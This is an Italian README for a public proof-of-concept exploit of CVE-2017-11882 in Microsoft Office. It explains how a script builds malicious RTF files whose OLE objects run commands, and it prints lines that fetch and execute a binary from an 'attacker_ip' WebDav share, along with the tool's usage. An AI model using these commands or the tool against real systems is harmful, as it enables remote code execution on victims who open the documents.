embedi/cve-2017-11882Exploit proof-of-concept per CVE-2017-11882 con esecuzione remota basata su WebDav, che genera documenti RTF dannosi per attivare l'esecuzione di comandi tramite oggetti OLE.
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Ricerca: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Analisi della patch: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Dimostrazione PoC dello sfruttamento: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
Un semplice PoC per CVE-2017-11882. Questo exploit attiva il servizio WebClient e fa eseguire un file remoto da un server WebDav controllato dall'attaccante. Il motivo per cui questo approccio può essere utile è la limitazione della lunghezza del comando eseguito. Tuttavia, con l'aiuto di WebDav, è possibile avviare un eseguibile arbitrario controllato dall'attaccante sulla macchina vulnerabile. Questo script crea un semplice documento con diversi oggetti OLE. Questi oggetti sfruttano CVE-2017-11882, il che porta all'esecuzione sequenziale di comandi.
Il primo comando che attiva l'avvio del servizio WebClient può essere simile a questo:
cmd.exe /c start \\attacker_ip\ff
Il percorso del binario controllato dall'attaccante deve essere un percorso di rete UNC:
\\attacker_ip\ff\1.exe
webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
La cartella example contiene un file .rtf che sfrutta la vulnerabilità CVE-2017-11882 e avvia la calcolatrice nel sistema.